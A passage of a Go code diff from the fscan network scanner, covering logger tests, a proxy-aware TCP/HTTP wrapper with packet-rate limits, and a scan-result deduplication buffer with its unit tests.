logger_test.go - 日志系统测试
测试目标:Logger核心功能
价值:日志是程序的眼睛,错误会导致:
- 关键信息丢失(用户看不到错误)
- 性能问题(并发日志混乱)
- 调试困难(时间格式错误)
"日志不是可选功能。日志丢失或错误,等于程序在撒谎。
测试必须验证:过滤正确、格式正确、并发安全。"
*/
// =============================================================================
// 测试辅助函数
// =============================================================================
// captureOutput 捕获日志输出(不污染控制台)
type captureOutput struct {
mu sync.Mutex
output []string
}
func (c *captureOutput) Write(msg string) {
c.mu.Lock()
defer c.mu.Unlock()
c.output = append(c.output, msg)
}
func (c *captureOutput) Get() []string {
c.mu.Lock()
defer c.mu.Unlock()
result := make([]string, len(c.output))
copy(result, c.output)
return result
}
func (c *captureOutput) Clear() {
c.mu.Lock()
defer c.mu.Unlock()
c.output = nil
}
// createTestLogger 创建测试用Logger(捕获输出)
func createTestLogger(level LogLevel, enableColor bool) (*Logger, *captureOutput) {
capture := &captureOutput{}
config := &LoggerConfig{
Level: level,
EnableColor: enableColor,
SlowOutput: false, // 测试时禁用慢速输出
ShowProgress: false,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
}
logger := NewLogger(config)
logger.SetCoordinatedOutput(capture.Write)
return logger, capture
}
// =============================================================================
// Logger - 基础功能测试
// =============================================================================
// TestNewLogger_DefaultConfig 测试默认配置
func TestNewLogger_DefaultConfig(t *testing.T) {
// nil配置应该使用默认值
logger := NewLogger(nil)
if logger == nil {
t.Fatal("NewLogger(nil) 应该返回有效的logger")
}
if logger.config == nil {
t.Error("config不应为nil(应使用默认配置)")
}
if logger.config.Level != DefaultLevel {
t.Errorf("默认Level = %v, want %v", logger.config.Level, DefaultLevel)
}
if !logger.initialized {
t.Error("logger应该已初始化")
}
t.Logf("✓ 默认配置测试通过")
}
// TestNewLogger_CustomConfig 测试自定义配置
func TestNewLogger_CustomConfig(t *testing.T) {
config := &LoggerConfig{
Level: LevelError,
EnableColor: false,
SlowOutput: true,
ShowProgress: false,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
}
logger := NewLogger(config)
if logger.config.Level != LevelError {
t.Errorf("Level = %v, want %v", logger.config.Level, LevelError)
}
if logger.config.EnableColor {
t.Error("EnableColor应该为false")
}
t.Logf("✓ 自定义配置测试通过")
}
// TestLogger_AllLevels 测试所有日志级别
//
// 验证:每个级别都能正确输出
func TestLogger_AllLevels(t *testing.T) {
logger, capture := createTestLogger(LevelAll, false)
tests := []struct {
name string
logFunc func(string)
message string
wantMsg string
wantPfx string
}{
{
name: "Debug级别",
logFunc: logger.Debug,
message: "debug message",
wantMsg: "debug message",
wantPfx: PrefixDebug,
},
{
name: "Base级别",
logFunc: logger.Base,
message: "base message",
wantMsg: "base message",
wantPfx: PrefixInfo, // Base 已废弃,默认使用 Info 前缀
},
{
name: "Info级别",
logFunc: logger.Info,
message: "info message",
wantMsg: "info message",
wantPfx: PrefixInfo,
},
{
name: "Success级别",
logFunc: logger.Success,
message: "success message",
wantMsg: "success message",
wantPfx: PrefixSuccess,
},
{
name: "Vuln级别",
logFunc: logger.Vuln,
message: "vuln message",
wantMsg: "vuln message",
wantPfx: PrefixVuln,
},
{
name: "Error级别",
logFunc: logger.Error,
message: "error message",
wantMsg: "error message",
wantPfx: PrefixError,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
capture.Clear()
tt.logFunc(tt.message)
output := capture.Get()
if len(output) != 1 {
t.Fatalf("期望1条输出,实际%d条", len(output))
}
msg := output[0]
if !strings.Contains(msg, tt.wantMsg) {
t.Errorf("输出缺少消息: %s\n实际: %s", tt.wantMsg, msg)
}
if !strings.Contains(msg, tt.wantPfx) {
t.Errorf("输出缺少前缀: %s\n实际: %s", tt.wantPfx, msg)
}
// 验证输出格式:前缀 + 空格 + 消息
if !strings.HasPrefix(msg, tt.wantPfx) {
t.Errorf("输出应该以前缀开头: %s\n实际: %s", tt.wantPfx, msg)
}
t.Logf("✓ %s 输出正确: %s", tt.name, msg)
})
}
}
// =============================================================================
// Logger - 级别过滤测试
// =============================================================================
// TestLogger_LevelFiltering 测试日志级别过滤
//
// 验证:不同级别配置下,只输出对应级别的日志
func TestLogger_LevelFiltering(t *testing.T) {
tests := []struct {
name string
configLevel LogLevel
logLevels map[string]func(*Logger, string)
wantOutput map[string]bool // true表示应该输出
}{
{
name: "LevelAll - 显示所有",
configLevel: LevelAll,
logLevels: map[string]func(*Logger, string){
"debug": (*Logger).Debug,
"base": (*Logger).Base,
"info": (*Logger).Info,
"success": (*Logger).Success,
"error": (*Logger).Error,
},
wantOutput: map[string]bool{
"debug": true, "base": true, "info": true,
"success": true, "error": true,
},
},
{
name: "LevelError - 仅错误",
configLevel: LevelError,
logLevels: map[string]func(*Logger, string){
"info": (*Logger).Info,
"error": (*Logger).Error,
},
wantOutput: map[string]bool{
"info": false, "error": true,
},
},
{
name: "LevelInfoSuccess - 信息和成功",
configLevel: LevelInfoSuccess,
logLevels: map[string]func(*Logger, string){
"base": (*Logger).Base,
"info": (*Logger).Info,
"success": (*Logger).Success,
"error": (*Logger).Error,
},
wantOutput: map[string]bool{
"base": false, "info": true,
"success": true, "error": true, // Error 始终显示(层级设计)
},
},
{
name: "LevelBaseInfoSuccess - 基础、信息和成功",
configLevel: LevelBaseInfoSuccess,
logLevels: map[string]func(*Logger, string){
"debug": (*Logger).Debug,
"base": (*Logger).Base,
"info": (*Logger).Info,
"success": (*Logger).Success,
},
wantOutput: map[string]bool{
"debug": false, "base": true,
"info": true, "success": true,
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
logger, capture := createTestLogger(tt.configLevel, false)
for levelName, logFunc := range tt.logLevels {
capture.Clear()
logFunc(logger, levelName+" message")
output := capture.Get()
shouldOutput := tt.wantOutput[levelName]
if shouldOutput && len(output) == 0 {
t.Errorf("%s: 应该输出但没有输出", levelName)
}
if !shouldOutput && len(output) > 0 {
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
}
}
t.Logf("✓ %s 过滤测试通过", tt.name)
})
}
}
// =============================================================================
// Logger - 时间格式化测试
// =============================================================================
// TestLogger_TimeFormatting 测试时间格式化函数
//
// 验证:formatElapsedTime 对不同时长格式化正确(毫秒、秒、分钟、小时)
func TestLogger_TimeFormatting(t *testing.T) {
tests := []struct {
name string
elapsed time.Duration
wantStr string
}{
{
name: "0毫秒",
elapsed: 0,
wantStr: "0ms",
},
{
name: "500毫秒",
elapsed: 500 * time.Millisecond,
wantStr: "500ms",
},
{
name: "999毫秒",
elapsed: 999 * time.Millisecond,
wantStr: "999ms",
},
{
name: "1秒",
elapsed: 1 * time.Second,
wantStr: "1.0s",
},
{
name: "30秒",
elapsed: 30 * time.Second,
wantStr: "30.0s",
},
{
name: "59秒",
elapsed: 59 * time.Second,
wantStr: "59.0s",
},
{
name: "1分钟",
elapsed: 1 * time.Minute,
wantStr: "1m0s",
},
{
name: "5分30秒",
elapsed: 5*time.Minute + 30*time.Second,
wantStr: "5m30s",
},
{
name: "59分59秒",
elapsed: 59*time.Minute + 59*time.Second,
wantStr: "59m59s",
},
{
name: "1小时",
elapsed: 1 * time.Hour,
wantStr: "1h0m0s",
},
{
name: "2小时30分45秒",
elapsed: 2*time.Hour + 30*time.Minute + 45*time.Second,
wantStr: "2h30m45s",
},
}
// 直接测试 formatElapsedTime 函数
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
logger := NewLogger(nil)
result := logger.formatElapsedTime(tt.elapsed)
if result != tt.wantStr {
t.Errorf("时间格式错误\n期望: %s\n实际: %s", tt.wantStr, result)
}
t.Logf("✓ %s → %s", tt.name, result)
})
}
}
// =============================================================================
// Logger - 并发安全测试
// =============================================================================
// TestLogger_ConcurrentLogging 测试并发日志输出
//
// 验证:多个goroutine同时写日志不会panic或丢失
func TestLogger_ConcurrentLogging(t *testing.T) {
logger, capture := createTestLogger(LevelAll, false)
numGoroutines := 100
logsPerGoroutine := 10
totalLogs := numGoroutines * logsPerGoroutine
var wg sync.WaitGroup
wg.Add(numGoroutines)
// 并发写入不同级别的日志
for i := 0; i < numGoroutines; i++ {
go func(id int) {
defer wg.Done()
for j := 0; j < logsPerGoroutine; j++ {
msg := fmt.Sprintf("goroutine-%d-log-%d", id, j)
// 随机使用不同级别
switch j % 5 {
case 0:
logger.Debug(msg)
case 1:
logger.Info(msg)
case 2:
logger.Success(msg)
case 3:
logger.Error(msg)
case 4:
logger.Base(msg)
}
}
}(i)
}
wg.Wait()
// 验证输出数量
output := capture.Get()
if len(output) != totalLogs {
t.Errorf("期望%d条日志,实际%d条(数据丢失或重复)",
totalLogs, len(output))
}
// 验证每条日志格式正确(前缀可能是 "[" 或空格)
for i, line := range output {
if !strings.HasPrefix(line, "[") && !strings.HasPrefix(line, " ") {
t.Errorf("第%d条日志格式错误: %s", i+1, line)
break
}
}
t.Logf("✓ 并发日志测试通过(%d个goroutine,共%d条日志)",
numGoroutines, totalLogs)
}
// TestLogger_NoCoordinatedOutput 测试无协调输出的情况
//
// 验证:coordinatedOutput为nil时,使用fmt.Println(不会panic
func TestLogger_NoCoordinatedOutput(t *testing.T) {
config := &LoggerConfig{
Level: LevelAll,
EnableColor: false,
StartTime: time.Now(),
}
logger := NewLogger(config)
// 不设置 coordinatedOutput
// 应该不会panic(会使用fmt.Println
defer func() {
if r := recover(); r != nil {
t.Errorf("不应该panic: %v", r)
}
}()
logger.Info("test message")
t.Logf("✓ 无协调输出测试通过(使用fmt.Println")
}
// =============================================================================
// Logger - 高级功能测试(提升覆盖率)
// =============================================================================
// TestLogger_SingleLevels 测试单独级别配置
//
// 验证:层级过滤 - 设置一个级别后,显示该级别及以上的日志,Error始终显示
func TestLogger_SingleLevels(t *testing.T) {
tests := []struct {
name string
configLevel LogLevel
testLevels map[string]func(*Logger, string)
wantOutput map[string]bool
}{
{
name: "LevelDebug - 显示所有",
configLevel: LevelDebug,
testLevels: map[string]func(*Logger, string){
"debug": (*Logger).Debug,
"base": (*Logger).Base,
"info": (*Logger).Info,
"success": (*Logger).Success,
"error": (*Logger).Error,
},
wantOutput: map[string]bool{
"debug": true, "base": true, "info": true,
"success": true, "error": true, // 层级过滤:Debug(0)及以上全显示
},
},
{
name: "LevelBase - 基础及以上",
configLevel: LevelBase,
testLevels: map[string]func(*Logger, string){
"debug": (*Logger).Debug,
"base": (*Logger).Base,
"info": (*Logger).Info,
},
wantOutput: map[string]bool{
"debug": false, "base": true, "info": true, // 层级过滤:Base(1)及以上
},
},
{
name: "LevelInfo - 信息及以上",
configLevel: LevelInfo,
testLevels: map[string]func(*Logger, string){
"base": (*Logger).Base,
"info": (*Logger).Info,
},
wantOutput: map[string]bool{
"base": false, "info": true, // 层级过滤:Info(2)及以上
},
},
{
name: "LevelSuccess - 成功及以上",
configLevel: LevelSuccess,
testLevels: map[string]func(*Logger, string){
"info": (*Logger).Info,
"success": (*Logger).Success,
},
wantOutput: map[string]bool{
"info": false, "success": true, // 层级过滤:Success(3)及以上
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
logger, capture := createTestLogger(tt.configLevel, false)
for levelName, logFunc := range tt.testLevels {
capture.Clear()
logFunc(logger, levelName+" message")
output := capture.Get()
shouldOutput := tt.wantOutput[levelName]
if shouldOutput && len(output) == 0 {
t.Errorf("%s: 应该输出但没有输出", levelName)
}
if !shouldOutput && len(output) > 0 {
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
}
}
t.Logf("✓ %s 测试通过", tt.name)
})
}
}
// TestLogger_ColorOutput 测试颜色输出
//
// 验证:EnableColor开关正确控制颜色输出
func TestLogger_ColorOutput(t *testing.T) {
t.Run("禁用颜色", func(t *testing.T) {
logger, capture := createTestLogger(LevelAll, false)
logger.Info("test")
output := capture.Get()
if len(output) == 0 {
t.Fatal("应该有输出")
}
// 无颜色时,输出就是纯文本
if strings.Contains(output[0], "\033[") {
t.Error("禁用颜色时不应该包含ANSI转义序列")
}
t.Logf("✓ 禁用颜色测试通过")
})
t.Run("启用颜色", func(t *testing.T) {
logger, capture := createTestLogger(LevelAll, true)
logger.Info("test")
output := capture.Get()
if len(output) == 0 {
t.Fatal("应该有输出")
}
// 启用颜色时,输出可能包含颜色(取决于终端支持)
// 但不会panic
t.Logf("✓ 启用颜色测试通过: %s", output[0])
})
}
// TestLogger_BackwardCompatibility 测试向后兼容性
//
// 验证:LevelAll 等同于 LevelDebug,显示所有级别
func TestLogger_BackwardCompatibility(t *testing.T) {
config := &LoggerConfig{
Level: LevelAll, // LevelAll 是 LevelDebug 的别名
EnableColor: false,
ShowProgress: false,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
}
logger := NewLogger(config)
capture := &captureOutput{}
logger.SetCoordinatedOutput(capture.Write)
// LevelAll 应该显示所有级别
logger.Debug("debug msg")
logger.Info("info msg")
logger.Error("error msg")
output := capture.Get()
if len(output) != 3 {
t.Errorf("LevelAll应该显示所有级别,期望3条,实际%d条", len(output))
}
t.Logf("✓ 向后兼容测试通过(LevelAll显示所有级别)")
}
// TestLogger_Initialize 测试初始化标记
//
// 验证:Initialize方法正确设置initialized标志
func TestLogger_Initialize(t *testing.T) {
config := &LoggerConfig{
Level: LevelAll,
EnableColor: false,
ShowProgress: false,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
}
// 手动创建logger,跳过NewLogger中的自动初始化
logger := &Logger{
config: config,
initialized: false, // 明确设置为false
}
// 验证初始状态
if logger.initialized {
t.Error("新创建的logger不应该已初始化")
}
// 调用Initialize
logger.Initialize()
// 验证已初始化
if !logger.initialized {
t.Error("调用Initialize后应该已初始化")
}
t.Logf("✓ Initialize测试通过")
}
func TestLogger_CloseClosesDebugFile(t *testing.T) {
path := filepath.Join(t.TempDir(), "debug.log")
logger := NewLogger(&LoggerConfig{
Level: LevelAll,
EnableColor: false,
ShowProgress: false,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
DebugLogFile: path,
})
if logger.debugFile == nil {
t.Fatal("debug file should be opened")
}
logger.Info("debug file line")
logger.Close()
if logger.debugFile != nil {
t.Fatal("debug file should be nil after Close")
}
content, err := os.ReadFile(path)
if err != nil {
t.Fatalf("read debug file: %v", err)
}
if !strings.Contains(string(content), "debug file line") {
t.Fatalf("debug file content = %q", string(content))
}
logger.Close()
}
+199
View File
@@ -0,0 +1,199 @@
package common
/*
network.go - 统一网络操作包装器
提供便捷的网络连接API,自动处理发包限制检查、代理和统计。
*/
import (
"context"
"fmt"
"net"
"net/http"
"net/url"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/proxy"
)
// =============================================================================
// 全局代理管理器(复用连接,避免重复创建)
// =============================================================================
var (
globalProxyOnce sync.Once
globalProxyDialer proxy.Dialer
globalProxyInitErr error
)
// getGlobalDialer 获取全局拨号器(线程安全,只初始化一次)
func getGlobalDialer(timeout time.Duration) (proxy.Dialer, error) {
globalProxyOnce.Do(func() {
// 创建代理配置
config := createProxyConfig(timeout)
// 创建代理管理器
manager := proxy.NewProxyManager(config)
// 创建拨号器
globalProxyDialer, globalProxyInitErr = manager.GetDialer()
})
return globalProxyDialer, globalProxyInitErr
}
// =============================================================================
// 代理配置
// =============================================================================
// parseProxyURL 解析代理URL,提取地址和认证信息
func parseProxyURL(proxyURL, fallback string) (host, username, password string) {
if !strings.Contains(proxyURL, "://") {
if host, username, password, ok := parseProxyURLCandidate("http://" + proxyURL); ok {
return host, username, password
}
}
if host, username, password, ok := parseProxyURLCandidate(proxyURL); ok {
return host, username, password
}
return fallback, "", ""
}
func parseProxyURLCandidate(proxyURL string) (host, username, password string, ok bool) {
parsedURL, err := url.Parse(proxyURL)
if err != nil {
return "", "", "", false
}
host = parsedURL.Host
if host == "" {
return "", "", "", false
}
if parsedURL.User != nil {
username = parsedURL.User.Username()
password, _ = parsedURL.User.Password()
}
return host, username, password, true
}
// createProxyConfig 根据全局设置创建代理配置
func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig {
fv := GetFlagVars()
config := proxy.DefaultProxyConfig()
config.Timeout = timeout
config.LocalAddr = fv.Iface // 设置本地网卡IP地址
// 优先使用SOCKS5代理
if fv.Socks5Proxy != "" {
config.Type = proxy.ProxyTypeSOCKS5
// 确保有协议前缀以便解析
socks5URL := fv.Socks5Proxy
if !strings.HasPrefix(socks5URL, "socks5://") {
socks5URL = "socks5://" + socks5URL
}
config.Address, config.Username, config.Password = parseProxyURL(socks5URL, fv.Socks5Proxy)
return config
}
// 其次使用HTTP代理
if fv.HTTPProxy != "" {
if strings.HasPrefix(fv.HTTPProxy, "https://") {
config.Type = proxy.ProxyTypeHTTPS
} else {
config.Type = proxy.ProxyTypeHTTP
}
config.Address, config.Username, config.Password = parseProxyURL(fv.HTTPProxy, fv.HTTPProxy)
return config
}
// 无代理配置,使用直连
config.Type = proxy.ProxyTypeNone
return config
}
// =============================================================================
// TCP 连接
// =============================================================================
// Deprecated: WrapperTcpWithTimeout 仅供 libs/grdp 兼容使用,新代码请用 ScanSession.DialTCP
//
//nolint:revive
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
// 检查发包限制 - 在代理连接前进行控制
if canSend, reason := CanSendPacket(); !canSend {
LogError(i18n.Tr("tcp_connection_restricted", address, reason))
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
}
// 获取全局拨号器(复用,避免重复创建)
dialer, err := getGlobalDialer(timeout)
if err != nil {
LogError(i18n.Tr("proxy_dialer_failed", err))
GetGlobalState().IncrementTCPFailedPacketCount()
return nil, err
}
// 使用代理拨号器连接
conn, err := dialer.DialContext(context.Background(), network, address)
// 统计TCP包数量 - 无论是否使用代理都要计数
if err != nil {
GetGlobalState().IncrementTCPFailedPacketCount()
LogDebug(i18n.Tr("connection_failed", address, err))
return nil, err
}
// 连接成功,统计成功包
GetGlobalState().IncrementTCPSuccessPacketCount()
return conn, nil
}
// SafeTCPDial TCP连接的便捷封装
// 直接调用WrapperTcpWithTimeout,自动处理发包限制、代理和统计
func SafeTCPDial(address string, timeout time.Duration) (net.Conn, error) {
return WrapperTcpWithTimeout("tcp", address, timeout)
}
// =============================================================================
// HTTP 请求
// =============================================================================
// IsProxyEnabled 检查是否启用了代理(封装proxy包的函数)
func IsProxyEnabled() bool {
return proxy.IsProxyEnabled()
}
// IsProxyReliable 检查代理是否可靠(不存在全回显问题)
func IsProxyReliable() bool {
return proxy.IsProxyReliable()
}
// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型
func IsSOCKS5Proxy() bool {
return proxy.IsSOCKS5Proxy()
}
// SafeHTTPDo 带发包控制的HTTP请求
func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
// 检查发包限制
if canSend, reason := CanSendPacket(); !canSend {
LogError(i18n.Tr("http_request_restricted", req.URL.String(), reason))
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
}
// 执行HTTP请求
resp, err := client.Do(req)
// 统计TCP包数量 (HTTP本质上是TCP)
if err != nil {
GetGlobalState().IncrementTCPFailedPacketCount()
} else {
GetGlobalState().IncrementTCPSuccessPacketCount()
}
return resp, err
}
+52
View File
@@ -0,0 +1,52 @@
package common
import (
"context"
"net/http"
"testing"
"github.com/shadow1ng/fscan/common/proxy"
)
func TestNetworkFacadeProxyState(t *testing.T) {
t.Cleanup(func() { proxy.AutoConfigureProxy(proxy.DefaultProxyConfig()) })
proxy.AutoConfigureProxy(proxy.DefaultProxyConfig())
if IsProxyEnabled() || IsSOCKS5Proxy() || !IsProxyReliable() {
t.Fatal("direct global proxy state should be disabled and reliable")
}
proxy.AutoConfigureProxy(&proxy.ProxyConfig{Type: proxy.ProxyTypeSOCKS5})
if !IsProxyEnabled() || !IsSOCKS5Proxy() || !IsProxyReliable() {
t.Fatal("SOCKS5 global proxy state should be enabled and SOCKS5")
}
}
func TestSafeHTTPDoUsesGlobalPacketLimit(t *testing.T) {
previousConfig := GetGlobalConfig()
previousState := GetGlobalState()
t.Cleanup(func() {
SetGlobalConfig(previousConfig)
SetGlobalState(previousState)
})
cfg := NewConfig()
cfg.Network.MaxPacketCount = 1
state := NewState()
state.IncrementPacketCount()
SetGlobalConfig(cfg)
SetGlobalState(state)
client := &http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
t.Fatal("transport should not be called when packet limit is reached")
return nil, nil
})}
req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, "http://example.com", nil)
if err != nil {
t.Fatal(err)
}
if resp, err := SafeHTTPDo(client, req); err == nil || resp != nil {
t.Fatalf("SafeHTTPDo = resp %#v err %v, want limit error", resp, err)
}
}
+180
View File
@@ -0,0 +1,180 @@
package output
import "sync"
// ResultBuffer 公共的去重缓冲逻辑,供各Writer复用
type ResultBuffer struct {
mu sync.Mutex
// 分类缓冲
HostResults []*ScanResult
PortResults []*ScanResult
ServiceResults []*ScanResult
VulnResults []*ScanResult
// 去重map
seenHosts map[string]struct{}
seenPorts map[string]struct{}
seenServices map[string]int // 存储索引,用于更新更完整的记录
seenVulns map[string]struct{}
}
// NewResultBuffer 创建新的结果缓冲
func NewResultBuffer() *ResultBuffer {
return &ResultBuffer{
seenHosts: make(map[string]struct{}, 256),
seenPorts: make(map[string]struct{}, 512),
seenServices: make(map[string]int, 128),
seenVulns: make(map[string]struct{}, 64),
}
}
// Add 添加结果到缓冲(自动去重)
func (b *ResultBuffer) Add(result *ScanResult) {
b.mu.Lock()
defer b.mu.Unlock()
if result == nil {
return
}
key := b.generateKey(result)
switch result.Type {
case TypeHost:
if _, exists := b.seenHosts[key]; !exists {
b.seenHosts[key] = struct{}{}
b.HostResults = append(b.HostResults, result)
}
case TypePort:
if _, exists := b.seenPorts[key]; !exists {
b.seenPorts[key] = struct{}{}
b.PortResults = append(b.PortResults, result)
}
case TypeService:
if idx, exists := b.seenServices[key]; !exists {
b.seenServices[key] = len(b.ServiceResults)
b.ServiceResults = append(b.ServiceResults, result)
} else {
b.mergeDetails(b.ServiceResults[idx], result)
// 保留信息更完整的记录,同时保留另一条记录补充的字段
if b.isMoreComplete(result, b.ServiceResults[idx]) {
b.ServiceResults[idx] = result
}
}
case TypeVuln:
if _, exists := b.seenVulns[key]; !exists {
b.seenVulns[key] = struct{}{}
b.VulnResults = append(b.VulnResults, result)
}
}
}
func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) {
if oldResult == nil || newResult == nil {
return
}
if oldResult.Details == nil {
oldResult.Details = make(map[string]interface{})
}
if newResult.Details == nil {
newResult.Details = make(map[string]interface{})
}
for k, v := range oldResult.Details {
if _, exists := newResult.Details[k]; !exists {
newResult.Details[k] = v
}
}
for k, v := range newResult.Details {
if _, exists := oldResult.Details[k]; !exists {
oldResult.Details[k] = v
}
}
}
// generateKey 生成结果的唯一键(用于去重)
func (b *ResultBuffer) generateKey(result *ScanResult) string {
switch result.Type {
case TypeHost:
return result.Target
case TypePort:
if result.Details != nil {
if port, ok := result.Details["port"]; ok {
return targetWithPort(result.Target, port)
}
}
return result.Target
case TypeService:
return result.Target
case TypeVuln:
return result.Target + "|" + result.Status
default:
return result.Target + "|" + result.Status
}
}
// isMoreComplete 判断新记录是否比旧记录信息更完整
func (b *ResultBuffer) isMoreComplete(newResult, oldResult *ScanResult) bool {
return b.CalculateCompleteness(newResult) > b.CalculateCompleteness(oldResult)
}
// CalculateCompleteness 计算记录的信息完整度
func (b *ResultBuffer) CalculateCompleteness(result *ScanResult) int {
score := 0
if result.Details == nil {
return score
}
// 有 status 码加分
if status, ok := result.Details["status"]; ok && status != nil && status != 0 {
score += 2
}
// 有 server 加分
if server, ok := result.Details["server"].(string); ok && server != "" {
score += 2
}
// 有 title 加分
if title, ok := result.Details["title"].(string); ok && title != "" {
score += 1
}
// 有指纹加分
if fps := result.Details["fingerprints"]; fps != nil {
switch v := fps.(type) {
case []string:
if len(v) > 0 {
score += 3
}
case []interface{}:
if len(v) > 0 {
score += 3
}
}
}
// 有 banner 加分
if banner, ok := result.Details["banner"].(string); ok && banner != "" {
score += 1
}
return score
}
// Summary 获取统计摘要
func (b *ResultBuffer) Summary() (hosts, ports, services, vulns int) {
b.mu.Lock()
defer b.mu.Unlock()
return len(b.HostResults), len(b.PortResults), len(b.ServiceResults), len(b.VulnResults)
}
// Clear 清空缓冲
func (b *ResultBuffer) Clear() {
b.mu.Lock()
defer b.mu.Unlock()
b.HostResults = nil
b.PortResults = nil
b.ServiceResults = nil
b.VulnResults = nil
b.seenHosts = make(map[string]struct{})
b.seenPorts = make(map[string]struct{})
b.seenServices = make(map[string]int)
b.seenVulns = make(map[string]struct{})
}
+475
View File
@@ -0,0 +1,475 @@
package output
import (
"fmt"
"sync"
"testing"
)
/*
buffer_test.go - ResultBuffer 高价值测试
测试重点:
1. 去重逻辑 - 不同结果类型的去重策略差异
2. 完整度评分 - 决定是否替换已有服务记录
3. 并发安全 - 多goroutine同时Add
*/
// =============================================================================
// 基本去重测试
// =============================================================================
// TestResultBuffer_HostDeduplication 测试主机去重
func TestResultBuffer_HostDeduplication(t *testing.T) {
buf := NewResultBuffer()
// 添加相同主机多次
for i := 0; i < 10; i++ {
buf.Add(&ScanResult{
Type: TypeHost,
Target: "192.168.1.1",
Status: "alive",
})
}
hosts, _, _, _ := buf.Summary()
if hosts != 1 {
t.Errorf("主机应去重为1个,实际 %d", hosts)
}
}
// TestResultBuffer_PortDeduplication 测试端口去重
func TestResultBuffer_PortDeduplication(t *testing.T) {
buf := NewResultBuffer()
// 相同IP:Port应去重
for i := 0; i < 5; i++ {
buf.Add(&ScanResult{
Type: TypePort,
Target: "192.168.1.1",
Details: map[string]interface{}{"port": 80},
})
}
// 不同端口不去重
buf.Add(&ScanResult{
Type: TypePort,
Target: "192.168.1.1",
Details: map[string]interface{}{"port": 443},
})
_, ports, _, _ := buf.Summary()
if ports != 2 {
t.Errorf("端口应有2个(80和443),实际 %d", ports)
}
}
// TestResultBuffer_ServiceDeduplication 测试服务去重
func TestResultBuffer_ServiceDeduplication(t *testing.T) {
buf := NewResultBuffer()
// 相同Target的服务应去重
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "http",
})
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "nginx",
})
_, _, services, _ := buf.Summary()
if services != 1 {
t.Errorf("相同Target的服务应去重为1个,实际 %d", services)
}
}
// TestResultBuffer_VulnDeduplication 测试漏洞去重
func TestResultBuffer_VulnDeduplication(t *testing.T) {
buf := NewResultBuffer()
// 相同Target+Status的漏洞应去重
for i := 0; i < 3; i++ {
buf.Add(&ScanResult{
Type: TypeVuln,
Target: "192.168.1.1:445",
Status: "MS17-010",
})
}
// 不同漏洞不去重
buf.Add(&ScanResult{
Type: TypeVuln,
Target: "192.168.1.1:445",
Status: "CVE-2020-0796",
})
_, _, _, vulns := buf.Summary()
if vulns != 2 {
t.Errorf("漏洞应有2个,实际 %d", vulns)
}
}
// =============================================================================
// 完整度评分测试
// =============================================================================
// TestResultBuffer_CompletenessScore 测试完整度评分
func TestResultBuffer_CompletenessScore(t *testing.T) {
buf := NewResultBuffer()
tests := []struct {
name string
result *ScanResult
expectedScore int
}{
{
name: "空Details",
result: &ScanResult{Details: nil},
expectedScore: 0,
},
{
name: "只有status",
result: &ScanResult{Details: map[string]interface{}{"status": 200}},
expectedScore: 2,
},
{
name: "有server",
result: &ScanResult{Details: map[string]interface{}{"server": "nginx/1.18.0"}},
expectedScore: 2,
},
{
name: "有title",
result: &ScanResult{Details: map[string]interface{}{"title": "Welcome"}},
expectedScore: 1,
},
{
name: "有指纹-[]string",
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []string{"nginx"}}},
expectedScore: 3,
},
{
name: "有指纹-[]interface{}",
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []interface{}{"apache", "php"}}},
expectedScore: 3,
},
{
name: "有banner",
result: &ScanResult{Details: map[string]interface{}{"banner": "SSH-2.0-OpenSSH"}},
expectedScore: 1,
},
{
name: "完整记录",
result: &ScanResult{
Details: map[string]interface{}{
"status": 200,
"server": "nginx",
"title": "Home",
"fingerprints": []string{"nginx", "php"},
"banner": "test",
},
},
expectedScore: 9, // 2+2+1+3+1
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
score := buf.CalculateCompleteness(tt.result)
if score != tt.expectedScore {
t.Errorf("完整度评分 = %d, 期望 %d", score, tt.expectedScore)
}
})
}
}
// TestResultBuffer_ServiceUpdate 测试服务记录更新
//
// 当新记录比旧记录更完整时,应该替换
func TestResultBuffer_ServiceUpdate(t *testing.T) {
buf := NewResultBuffer()
// 先添加简单记录
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "http",
Details: map[string]interface{}{},
})
// 再添加更完整的记录
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "http",
Details: map[string]interface{}{
"status": 200,
"server": "nginx/1.18.0",
"title": "Welcome",
"fingerprints": []string{"nginx", "php"},
},
})
_, _, services, _ := buf.Summary()
if services != 1 {
t.Fatal("服务数量应为1")
}
// 验证是更完整的记录
if buf.ServiceResults[0].Details == nil {
t.Fatal("Details不应为nil")
}
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
t.Error("应保留更完整的记录")
}
}
func TestResultBuffer_ServiceUpdateMergesDetails(t *testing.T) {
buf := NewResultBuffer()
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "identified",
Details: map[string]interface{}{
"service": "http",
"banner": "HTTP/1.1 200 OK",
},
})
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "web",
